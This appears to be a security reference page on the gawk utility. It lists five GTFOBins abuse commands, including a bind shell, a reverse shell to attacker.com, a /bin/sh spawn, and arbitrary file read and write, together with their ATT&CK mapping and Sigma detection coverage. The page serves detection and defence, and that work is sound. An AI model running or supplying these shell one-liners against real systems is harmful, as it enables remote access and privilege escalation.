Identifier / Programs / Linux and Unix

gawk

GNU version of awk, a versatile programming language for working on files. tldr-pages

GTFOBins shell 1 Sigma rule name it 1 ATT&CK technique 5 documented commands

How gawk is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for gawk.

5 documented commands

from GTFOBins, each read by the identifier

bind-shell unprivileged, with sudo, as SUID

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Identify

Trips no Sigma process-creation rule.

file-read unprivileged, with sudo, as SUID

gawk '//' /path/to/input-file

Identify

Trips no Sigma process-creation rule.

file-write unprivileged, with sudo, as SUID

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Identify

Trips no Sigma process-creation rule.

reverse-shell unprivileged, with sudo, as SUID

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Identify

Trips no Sigma process-creation rule.

shell unprivileged, with sudo, as SUID

gawk 'BEGIN {system("/bin/sh")}'

Identify

Trips 1 Sigma rule: highSuspicious Invocation of Shell via AWK - Linux by Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)

1 of the 5 commands the identifier reads trips a Sigma process-creation rule; 4 trip none. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for gawk. The identifier reads the line of each that runs gawk.

What detects it

Sigma process creation rules

highSuspicious Invocation of Shell via AWK - LinuxLi Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Print the fifth column (a.k.a. field) in a space-separated file

gawk '{print $5}' path/to/fileIdentify

Print the second column of the lines matching a pattern in a space-separated file

gawk '/pattern/ {print $2}' path/to/fileIdentify

Print the last column of each line in a file, using a comma (instead of space) as a field separator

gawk --field-separator ',' '{print $NF}' path/to/fileIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

gawk

How gawk is abused

5 documented commands

What detects it

Everyday use

Other programs abused for shell